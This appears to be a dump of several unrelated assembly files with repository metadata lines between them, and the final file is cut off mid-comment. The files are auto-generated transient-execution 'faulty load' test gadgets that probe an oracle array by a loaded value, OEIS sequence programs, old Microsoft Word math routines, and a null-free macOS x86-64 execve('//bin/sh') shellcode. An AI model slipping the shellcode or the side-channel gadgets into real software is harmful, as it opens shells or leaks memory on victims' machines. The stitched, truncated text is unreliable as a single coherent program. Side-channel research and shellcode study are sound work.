.global s_prepare_buffers s_prepare_buffers: push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_A_ht+0x74f7, %rsi lea addresses_UC_ht+0x15af7, %rdi clflush (%rsi) nop dec %r14 mov $113, %rcx rep movsq nop nop cmp %rax, %rax pop %rsi pop %rdi pop %rcx pop %rax pop %r14 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi // Store mov $0x8f7, %rbp nop mfence mov $0x5152535455565758, %r9 movq %r9, (%rbp) nop nop nop and $47286, %r9 // Store mov $0x6651bb00000004f7, %rax nop nop cmp $54950, %rdi mov $0x5152535455565758, %r9 movq %r9, %xmm7 movups %xmm7, (%rax) nop nop nop nop nop cmp %rax, %rax // Store lea addresses_UC+0x1e97, %r15 nop nop nop nop nop add %rdi, %rdi mov $0x5152535455565758, %r9 movq %r9, (%r15) nop nop nop nop nop and %rbp, %rbp // Store lea addresses_A+0x1be07, %rbp inc %r9 movb $0x51, (%rbp) nop inc %r15 // Store lea addresses_D+0x14eb7, %rdi nop nop nop nop nop inc %rbp mov $0x5152535455565758, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rdi) xor %rcx, %rcx // Faulty Load mov $0x6651bb00000004f7, %rdi nop nop dec %r12 mov (%rdi), %r15w lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 4, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'00': 167, '58': 21662} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
40.390977
2,999
0.655994
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1101.asm
5,372
Assembly
; A279506: Total number of 1's in the binary expansion of A003418. ; Submitted by Jamie Morken(w4) ; 1,1,1,2,2,4,4,4,4,6,6,6,6,12,12,12,12,12,12,12,12,12,12,14,14,21,21,18,18,17,17,22,22,22,22,22,22,28,28,28,28,25,25,32,32,32,32,40,40,40,40,40,40,43,43,43,43,43,43,38,38,44,44,44,44,44,44,47,47,47,47,52,52,56,56,56,56,56,56,53,53,51,51,65,65,65,65,65,65,63,63,63,63,63,63,63,63,67,67,67 seq $0,3418 ; Least common multiple (or LCM) of {1, 2, ..., n} for n >= 1, a(0) = 1. seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
82.571429
288
0.6609
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/279/A279506.asm
578
Assembly
include w2.inc include noxport.inc include consts.inc include windows.inc errNull equ 0 errDiv0 equ (errNull+7) errVal equ (errDiv0+8) errRef equ (errVal+8) errName equ (errRef+6) errNum equ (errName+7) errNa equ (errNum+6) errMax equ (errNa+5) errNil equ errMax createSeg trans,trans,byte,public,CODE externFP <DADD,DMUL,DSUB,DDIV,DNEG,DINT,SFLOAT,FIX,DDIV2> externFP <SetSbCur, ReloadSb> OverErr EQU 0001H ;Overflow error indicator UnderErr EQU 0002H ;Underflow error indicator DivBy0 EQU 0004H ;Divide by 0 indicator TransErr EQU 0008H ;Transcendental error indicator POLY1 EQU 8000h ; flag for leading 1 in poly EXPMASK EQU 07FF0h EXPBIAS EQU 03FF0h EXPSHFT EQU 4 MANBITS EQU 53 OF_EXP EQU 6 OF_SGN EQU 7 sBegin data externW mpsbps externW pdAcc externW fError externW AC_HI externW AC_LO externB round_flag externW round_exp externW f8087 ArgTran DQ ? TempTran1 DQ ? TempTran2 DQ ? TempTran3 DQ ? SgnTrig DB ? ; sign/cosine flag ILNinterval DQ 03FF71547652B82FER ; 1/ln(2) ISQRbase DQ 03FE6A09E667F3BCDR ; 1/sqr(2) LNXMAX DQ 040862E42FEFA39EER ; 1024*ln(2)-2eps LNXMIN DQ 0C086232BDD7ABCD1R ; -1022*ln(2)+2eps ExpC1 DQ 03FE6300000000000R ; ln(2) ExpC2 DQ 0BF2BD0105C610CA8R LogATab DW 2 DQ 0BFE94415B356BD29R ;-0.78956112887491257267E+00 DQ 04030624A2016AFEDR ;+0.16383943563021534222E+02 DQ 0C05007FF12B3B59AR ;-0.64124943423745581147E+02 LogBTab DW 3 numOne DQ 03FF0000000000000R ;+0.10000000000000000000E+01 DQ 0C041D5804B67CE0FR ;-0.35667977739034646171E+02 DQ 040738083FA15267ER ;+0.31203222091924532844E+03 DQ 0C0880BFE9C0D9077R ;-0.76949932108494879777E+03 ExpPTab DW 2 DQ 03EF152A46F58DC1CR ;+0.165203300268279130E-04 DQ 03F7C70E46FB3F6E0R ;+0.694360001511792852E-02 DQ 03FD0000000000000R ;+0.249999999999999993E+00 ExpQTab DW 2 DQ 03F403F996FDE3809R ;+0.495862884905441294E-03 DQ 03FAC718E714251B3R ;+0.555538666969001188E-01 numHalf DQ 03FE0000000000000R ;+0.500000000000000000E+00 sEnd data sBegin trans assumes cs,trans assumes ds,dgroup assumes ss,dgroup ; %%Function:LOGNAT %%Owner:bryanl cProc LOGNAT,<PUBLIC,NEAR> LocalQ LOG_LO LocalQ LOG_HI cBegin call ResetSbTrans mov ax,[si+of_exp] ; save copy of sign:exp:himan mov bx,ax AND BX,8000h+expmask ;Taking log of zero? jg LnPos mov [ferror],TransErr jmp LnExit LnPos: call LogCore mov ax,dataOffset AC_HI cCall DADD,<ax> lea ax,LOG_HI cCall DADD,<ax> ; AC = log(x) (normal precision) LnExit: cEnd LogCore: AND AX,not expmask OR AX,expbias-(1 shl expshft) mov [si+of_exp],ax ; Convert DAC to range [.5,1) XCHG AX,BX SUB AX,expbias-(1 shl expshft) ; Convert exponent to 16-bit integer mov cl,expshft sar ax,cl ; shift to integer PUSH AX mov di,dataOffset ArgTran call dstdi ; At this point AC = Y mov ax,dataOffset ISQRbase cCall DSUB,<ax> ;AC < 1/SQR(base) mov si,[si+of_exp] call dlddi or si,si pop si ; get exponent mov cl,00010000b ; assume in range AC < 1.0 jg dlog1 ; No - in range dec si ; and adjust exponent down 1 add word ptr [pdAcc+of_exp],1 shl expshft ; * 2 mov cl,00001000b ; Y >= 1.0 divide adjustment dlog1: push cx ; save divide adjustment call dstdi cCall SFLOAT,<si> ; AC = XN mov si,dataOffset TempTran1 mov bx,si call dst mov ax,dataOffset ExpC2 cCall DMUL,<ax> lea bx,LOG_LO call dst ; LOG_LO = XN*C2 mov bx,si call dld mov ax,dataOffset ExpC1 cCall DMUL,<ax> lea bx,LOG_HI call dst mov ax,word ptr [pdAcc+of_exp] ; get exponent and ax,expmask shl ax,1 ; shift into highest bits mov [ROUND_EXP],ax ; set round threshold call dlddi mov ax,dataOffset numOne cCall DSUB,<ax> ; AC = Y-1 pop ax mov [ROUND_FLAG],al ; set special round flag for divide cCall DDIV2,<di> ; AC = 2*(Y-1)/(Y+1) (trick divide) mov bx,dataOffset LogATab mov cx,dataOffset LogBTab call z3p_q ; z^3*A(z*z)/B(z*z) mov ax,dataOffset AC_LO cCall DADD,<ax> lea si,LOG_LO cCall DADD,<si> ; LOG_LO = XN*C2+lo(S)+S*r(S^2) ret ; %%Function:LN %%Owner:bryanl cProc LN,<PUBLIC,FAR>,<si,di> cBegin cCall LOGNAT cEnd ;*** EXP - exponential function ; %%Function:ETOX %%Owner:bryanl cProc ETOX,<PUBLIC,NEAR> cBegin call ResetSbTrans mov di,dataOffset ArgTran ; save X in argtran call dstdi call EXPrange ; check for proper range MOV AX,word ptr [SI+of_exp] ; get exponent AND AX,expmask ; mask off sign, hi mantissa CMP AX,expbias-((manbits+1) shl expshft) ; less than 2^(-54) jae exp1 ; ; Return ONE ; mov bx,dataOffset numOne call dld jmp short ExpRet ; ; Return Zero ; retzero: mov di,dataOffset pdAcc push ss pop es xor ax,ax stosw stosw stosw stosw jmp short ExpRet ; ; Overflow ; ovrflw2: pop ax ; toss one more level off stack ovrflw: mov [fError],OverErr jmp short ExpRet ; ; No errors, proceed ; exp1: CALL EXPM1 EXPadjust: ; finish up EXP PUSH AX ; save integer part mov ax,dataOffset numHalf cCall DADD,<ax> ; AC = 0.5+g*P(z)/(Q(z)-g*P(z)) POP AX ; restore n inc ax mov cl,expshft sal ax,cl add word ptr [si+of_exp],ax ; adjust exponent expRet: cEnd EXPM1: mov di,dataOffset ILNinterval cCall DMUL,<di> ; x/ln(interval) mov al,[si+of_sgn] ; get sign mov [SgnTrig],al and byte ptr [si+of_sgn],01111111b ; make it positive mov ax,dataOffset numHalf cCall DADD,<ax> ; round to nearest int cCall FIX ; get the int test [SgnTrig],10000000b ; test the sign jz expos neg ax expos: call LNreduce ; reduce ARG by ax*LN(2) EXPM1reduced: ; compute (EXP(X)-1)/2 push ax ; save n mov bx,dataOffset ExpPTab mov cx,dataOffset ExpQTab call p_q mov si,dataOffset TempTran3 ; point to z cCall DMUL,<si> ; ac = z*P(z*z) mov bx,si call dst ; Temp3 = z*P(z*z) cCall DNEG ; ac = -z*P(z*z) mov di,dataOffset TempTran1 ; point to Q(z*z) cCall DADD,<di> ; ac = Q(z*z)-z*P(z*z) call dstdi ; Temp1 = ac mov bx,si call dld ; ac = z*P(z*z) cCall DDIV,<di> ; AC = z*P(z*z)/(Q(z*z)-z*P(z*z)) mov si,dataOffset pdAcc ; si = ac pop ax ; get integer part ret LNreduce: ; reduce ARG by LN(2) push ax ; save n cCall SFLOAT,<ax> ; XN mov bx,dataOffset ExpC1 mov cx,dataOffset ExpC2 call REDUCE pop ax ; get integer part ret overflowrange: mov ax,transOffset ovrflw2 ; overflow on upper limit jmp short range EXPrange: mov bx,transOffset retzero ; standard returns for EXP mov ax,transOffset ovrflw ; overflow on upper limit range: push ax push bx mov ax,dataOffset LNXMAX cCall DSUB,<ax> cmp byte ptr [si+of_sgn],0 jg rangeax ; overflow on upper limit mov di,dataOffset ArgTran call dlddi mov ax,dataOffset LNXMIN cCall DSUB,<ax> cmp byte ptr [si+of_sgn],0 ; check lower limit jl rangebx call dlddi add sp,4 ; clean ax,bx off stack ret rangeax: pop bx pop ax pop bx ; toss return address jmp ax ; return for x > LNXMAX rangebx: pop bx pop ax pop ax ; toss return address jmp bx ; return for x < LNXMIN ; %%Function:EXP %%Owner:bryanl cProc EXP,<PUBLIC,FAR>,<si,di> cBegin cCall ETOX cEnd ;*** SQR - Double precision square root ; ; This routine takes the square root of the number in the accumulator, ; and leaves the result in the accumulator. ; ; Algorithm: x is initially adjusted so that the exponent is even ; (when the exponent is odd the exponent is incremented and the ; mantissa is shifted right one bit). The exponent is then divided ; by two and resaved. A single word estimate of y (the root of ; x) accurate to 5 bits is produced using a wordlength implementation ; of a linear polynomial approximation of sqrt x. Three or four ; Newton-Raphson iterations are then computed as follows: ; ; 1) qa*ya+r1a=xa:0h,ya=(ya+qa)/2 ; 2) qa*ya+r1a=xa:xb,ya=(ya+qa)/2 ; 3) qa*ya+r1a=xa:xb,qb*ya+r2a=r1a:xc,ya:yb=(ya:yb+qa:qb)/2 ; *** iteration 4 implemented with standard divide *** ; 4) qa*ya+r1a=xa:xb,p1a:p1b=qa*yb, ; if p1a<r1a continue ; if p1a=r1a ; if p1b=xc continue else r1a=r1a+ya,qa=qa-1 endif, ; else r1a=r1a+ya,qa=qa-1,p1a:p1b=p1a:p1b-yb endif, ; r1a:r1b=r1a:xc-p1a:p1b, ; qb:ya+r2a=r1a:r1b,p2a:p2b=qb*yb, ; if p2a<r2a continue ; if p2a=r2a ; if p2b=xd continue else r2a=r2a+ya,qb=qb-1 endif, ; else r2a=r2a+ya,qb=qb-1,p2a:p2b=p2a:p2b-yb endif, ; r2a:r2b=r2a:xd-p2a:p2b, ; qc*ya+r3a=r2a:r2b,p3a:p3b=qc*yb, ; if p3a>=r3a then r3a=r3a+ya,qc=qc-1 endif, ; r3a=r3a-p3a,qd*ya+r4a=r3a:0h, ; ya:yb:yc:yd=(ya:yb:0h:0h+qa:qb:qc:qd)/2 ; %%Function:SQRT %%Owner:bryanl cProc SQRT,<PUBLIC,NEAR,ATOMIC> cBegin push bp call ResetSbTrans mov di,dataOffset TempTran1 MOV AX,[SI+6] MOV BH,AL ; Save hi mantissa TEST AX,07FF0h ; Test exponent jz sqrxv ; Zero - return 0 AND AX,0FFF0h ; Mask off hi mantissa jns sqr1 ; Negative - error mov [fError],TransErr ; set transcendental error sqrxv: jmp sqrx sqr1: SUB AX,03FE0h ; Remove excess from exponent MOV BL,[SI+5] MOV CX,[SI+3] MOV DX,[SI+1] ;get first three mantissa words of x SHL DX,1 RCL CX,1 RCL BX,1 SHL DX,1 RCL CX,1 RCL BX,1 SHL DX,1 RCL CX,1 RCL BX,1 OR BH,080h ;implied leading 1 now explicit TEST AL,16 ;if exponent is even JZ EXPEVEN ; bypass adjust ADD AX,16 ;increment exponent SHR BX,1 RCR CX,1 RCR DX,1 ;divide mantissa by 2 EXPEVEN: SAR AX,1 ;divide exponent by 2 ADD AX,03FE0h ; Bias the exponent MOV [DI+6],AX ; Store exponent of y CMP BX,0FFFEH ;if mantissa < 0.FFFEh JB NOTNEARONE1 ; perform main root routine STC ;otherwise x to become (1+x)/2 JMP SHORT SINGLEDONE ;single precision complete NOTNEARONE1: PUSH DX ;save third mantissa word MOV AX,0AFB1H ;AX=.AFB1h MUL BX ;DX=.AFB1h*x MOV BP,057D8H ;BP=.57D8h ADD BP,DX ;BP=.AFB1h*x+.57D8h JNC NORMEST ;if y is more than one MOV BP,0FFFFH ; replace y with .FFFFh NORMEST: MOV DX,BX XOR AX,AX ;load divide regs with xa:0h DIV BP ;qa*ya+r1a=xa:0h ADD BP,AX ;ya=ya+qa RCR BP,1 ;ya=ya/2 MOV DX,BX MOV AX,CX ;load divide regs with xa:xb DIV BP ;qa*ya+r1a=xa:xb STC ;add one to qa for better rounding ADC BP,AX ;ya=ya+qa RCR BP,1 ;ya=ya/2 MOV DX,BX MOV AX,CX ;load divide regs with xa:xb DIV BP ;qa*ya+r1a=xa:xb MOV SI,AX ;save qa POP AX ;load divide regs with r1a:xc DIV BP ;qb*ya+r2a=r1a:xc MOV BX,BP MOV CX,AX ;move qa:qb ;no need to round with floating point operations following ; ADD CX,1 ;add one to qa:qb for better rounding ; ADC BX,SI ;ya:yb=ya:0h+qa:qb ADD BX,SI ;ya:yb=ya:0h+qa:qb SINGLEDONE: ;We now have BX:CX = (ya:yb)*2=ya:0h+qa:qb XOR AX,AX SHL CX,1 RCL BX,1 RCL AX,1 SHL CX,1 RCL BX,1 RCL AX,1 SHL CX,1 RCL BX,1 RCL AX,1 SHL CX,1 RCL BX,1 RCL AX,1 ;back to IEEE format OR [DI+6],AL MOV [DI+4],BX MOV [DI+2],CX MOV WORD PTR [DI],0 ;save ya:yb:0h:0h cCall DDIV,<di> ;accumulator (x)=x/y cCall DADD,<di> ;accumulator (x)=y+x/y SUB WORD PTR [pdAcc+of_exp],16 ;accumulator (x)=(y+x/y)/2 sqrx: pop bp cEnd ; %%Function:SQR %%Owner:bryanl cProc SQR,<PUBLIC,FAR>,<si,di> cBegin cCall SQRT cEnd ;*** special common subexpression subroutine for transcendentals ResetSbTrans: mov ax,sbDds cCall SetSbCur,<ax> mov si,dataOffset pdAcc ret ;*** reduce - perform high precision reduction ; ; Function: ; compute ac = (x - xn*c1) - xn*c2 ; ; Inputs: ; ARG = x ; AC = xn ; BX = c1 ; CX = c2 REDUCE: push bx push cx mov si,dataOffset TempTran1 mov bx,si call dst ; xnT = xn (TempTran1) cCall DMUL ;,<cx> ; ac = xn*c2 mov bx,dataOffset TempTran2 call dst mov bx,si call dld ; ac = xn cCall DMUL ;,<bx> ; ac = xn*c1 cCall DNEG ; ac = -xn*c1 mov ax,dataOffset ArgTran cCall DADD,<ax> ; ac = arg-xn*c1 mov ax,dataOffset TempTran2 cCall DSUB,<ax> ; ac = arg-xn*c1-xn*c2 ret ; EVEN: mov ax,[si+of_exp] ; get exponent and sign mov ch,al ; save hign mantissa byte and ax,expmask ; test for 0 jz evenxit ; yes - return even sub ax,expbias-((7-expshft) shl expshft) cmp ax,(manbits-1+7-expshft) shl expshft ja evenxit ; too big - assume even mov cl,expshft shr ax,cl mov cl,al and cl,7 ; get bit within byte inc cx ; bump shift count by 1 shr al,1 shr al,1 shr al,1 cbw mov bx,ax neg bx ; bx = byte offset or ch,1 shl expshft ; set implied mantissa bit xchg [si+of_exp],ch ; swap with memory mov al,[si+bx+of_exp] shl al,cl ; bit in 'C', to tell us even or odd mov [si+of_exp],ch ; restore high mantissa byte evenxit: ret ; z2p_q ; ; Function: ; compute z*z*P(z*z)/Q(z*z) z2p_q: push cx call p_q pop cx jcxz nodiv mov ax,dataOffset TempTran1 cCall DDIV,<ax> ; P(z*z)/Q(z*z) nodiv: mov di,dataOffset TempTran2 cCall DMUL,<di> ret ; z3p_q ; ; Function: ; compute z*z*z*P(z*z)/Q(z*z) z3p_q: call z2p_q mov di,dataOffset TempTran3 cCall DMUL,<di> ; ac = z^3*P(z*z)/Q(z*z) ret ; p_q ; ; Function: ; computes ; z = ac ; zz = z*z ; if Q ; pzz = p(zz) ; ac = q(zz) ; else ; ac = p(zz) ; ; Inputs: ; BX = address of P table ; CX = address of Q table p_q: push bx push cx mov di,dataOffset TempTran3 ; temp3=z call dstdi cCall DMUL,<di> mov di,dataOffset TempTran2 call dstdi ; temp2 = z*z pop bx ; get Q table or bx,bx jz noq call poly mov bx,dataOffset TempTran1 call dst ; TempTran1 = Q(z*z) mov bx,dataOffset TempTran2 call dld noq: pop bx ; call poly ; ac = P(z*z) ; ret ;*** POLY - Evaluate DP polynomial ; ; Inputs: ; BX = Address of list of coefficients. First byte in list is number of ; coefficients, followed by the constants ordered from highest ; power to lowest. ; AC = argument. ; Function: ; Evaluate polynomial by Horner's method ; Outputs: ; Result in AC. ; Registers: ; ALL destroyed. POLY: push ss pop es mov si,dataOffset pdAcc mov di,dataOffset ArgTran movsw movsw movsw movsw mov si,bx ; Point to coefficient table lodsw ; Number of coefficients xchg ax,cx ; Count in CX or cx,cx ; check for implied 1.0 as 1st jns polymove ; no - normal poly xor ch,ch ; clear flag so we can count down push cx ; save count jmp short polyone ; jump into middle of poly loop polymove: mov di,dataOffset pdAcc ; Move first coefficient into AC movsw movsw movsw movsw jcxz polyxit polyloop: push cx mov ax,dataOffset ArgTran cCall DMUL,<ax> ; Multiply by argument polyone: ; alternate entry for implied 1.0 cCall DADD,<si> ; Add coefficient pop cx add si,8 ; Bump to next coefficient loop polyloop polyxit: ret ; ; Load num pointed by AX into pdacc ; dlddi: mov bx,di dld: mov ax,[bx ] mov [pdAcc ],ax mov ax,[bx+2] mov [pdAcc+2],ax mov ax,[bx+4] mov [pdAcc+4],ax mov ax,[bx+6] mov [pdAcc+6],ax ret ; ; Load pdacc into num pointed to by AX ; dstdi: mov bx,di dst: mov ax,[pdAcc ] mov [bx ],ax mov ax,[pdAcc+2] mov [bx+2],ax mov ax,[pdAcc+4] mov [bx+4],ax mov ax,[pdAcc+6] mov [bx+6],ax ret rgnumKonst DQ 03ff0000000000000R ; 1 DQ 04000000000000000R ; 2 DQ 0bff0000000000000R ; -1 DQ 04024000000000000R ; 10 DQ 04059000000000000R ; 100 DQ 040026bb1bbb55516R ; Ln(10) DQ 03fe0000000000000R ; 1/2 DQ 0cca8e45e1df3b078R ; large negative for sort (-2*10**60) ; %%Function:DLdC %%Owner:bryanl cProc DLdC,<PUBLIC,FAR>,<si,di,ds> ParmW ic cBegin mov si, ic mov cl, 3 shl si, cl add si, offset rgnumKonst mov di, dataOffset pdAcc push ds pop es push cs pop ds movsw movsw movsw movsw cEnd ifdef NOTUSED ; The next two routines are no longer required by the mathpack. ; %%Function:DldHp %%Owner:NOTUSED cProc DldHp,<PUBLIC,FAR> ; ParmD hp cBegin nogen mov bx,sp push si mov si,[bx+4] ; get offset of huge pointer mov bx,[bx+6] call GetPSfromSB cld lods word ptr es:[si] mov word ptr [pdAcc ],ax lods word ptr es:[si] mov word ptr [pdAcc +2],ax lods word ptr es:[si] mov word ptr [pdAcc +4],ax lods word ptr es:[si] mov word ptr [pdAcc +6],ax pop si ret 4 cEnd nogen ; %%Function:DstHp %%Owner:NOTUSED cProc DstHp,<PUBLIC,FAR> ; ParmD hp cBegin nogen mov bx,sp push si push di mov di,[bx+4] ; get offset of huge pointer mov bx,[bx+6] call GetPSfromSB mov si,dataOffset pdAcc cld movsw movsw movsw movsw pop di pop si ret 4 cEnd nogen endif ;NOTUSED GetPSfromSB: shl bx,1 mov ax,[mpsbps+bx] mov es,ax shr ax,1 jc mrs MyReloadSB: push dx push bx push cx cCall ReloadSb,<> pop cx pop bx pop dx mrs: ret sEnd trans end
21.312189
72
0.654975
[ "MIT" ]
lborgav/Historical-Source-Codes
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/nattrans.asm
17,135
Assembly
; non-NULL shellcode BITS 64 global start section .text start: ; call execve(program, NULL) xor rdx, rdx ; zero out RDX push rdx ; push NULL on stack mov rdi, 0x68732f6e69622f2f ; move "//bin/sh" string (reversed) to RDI push rdi ; push rdi to the stack mov rdi, rsp ; store RSP (points to the command string) in RDI xor rsi, rsi ; zero out RSI xor rax, rax ; zero out RAX mov al, 2 ; put 2 to AL -> RAX = 0x0000000000000002 shl eax, 0x18 ; shift the 2 -> RAX = 0x0000000002000000 mov al, 0x3b ; move 3b to AL (execve SYSCALL#) -> RAX = 0x000000000200003b syscall ; trigger syscall
44.388889
93
0.525657
[ "MIT" ]
a-rey/0xDEADBEEF
macOS/x86-64/execve/execve.asm
799
Assembly
; A118304: Start with 25 and repeatedly reverse the digits and add 1 to get the next term. ; 25,53,36,64,47,75,58,86,69,97,80,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2,3,4,5,6,7,8,9,10,2 mov $2,$0 mov $0,25 lpb $2 seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences). add $0,1 sub $2,1 lpe
39.272727
212
0.613426
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/118/A118304.asm
432
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xa3c7, %rsi lea addresses_WT_ht+0x133c7, %rdi nop cmp $52334, %rax mov $110, %rcx rep movsq nop nop nop nop nop add %rdi, %rdi lea addresses_UC_ht+0x3fc7, %rsi lea addresses_WC_ht+0x1e907, %rdi nop and %r8, %r8 mov $122, %rcx rep movsl and %rcx, %rcx lea addresses_A_ht+0xc7c7, %rsi lea addresses_normal_ht+0x7cc7, %rdi nop nop xor %r14, %r14 mov $111, %rcx rep movsw nop nop nop nop nop add %rcx, %rcx lea addresses_WT_ht+0x127c7, %rsi lea addresses_normal_ht+0xa5db, %rdi clflush (%rsi) clflush (%rdi) nop nop nop add $62230, %r11 mov $109, %rcx rep movsl nop nop nop xor %rax, %rax lea addresses_WT_ht+0x1efc7, %rax add %r14, %r14 movb $0x61, (%rax) nop nop nop dec %r8 lea addresses_A_ht+0xdd07, %r11 nop nop nop nop nop add $28626, %r8 mov $0x6162636465666768, %rcx movq %rcx, (%r11) nop nop nop nop and %rcx, %rcx lea addresses_D_ht+0x135c7, %rsi xor %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, (%rsi) nop and $24668, %r14 lea addresses_D_ht+0x13267, %rsi lea addresses_WT_ht+0x49c7, %rdi clflush (%rsi) nop nop nop nop nop inc %rdx mov $23, %rcx rep movsb nop nop nop nop inc %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r9 push %rax // Faulty Load lea addresses_D+0xdfc7, %r9 nop nop add %r11, %r11 movups (%r9), %xmm4 vpextrq $1, %xmm4, %r15 lea oracles, %rax and $0xff, %r15 shlq $12, %r15 mov (%rax,%r15,1), %r15 pop %rax pop %r9 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 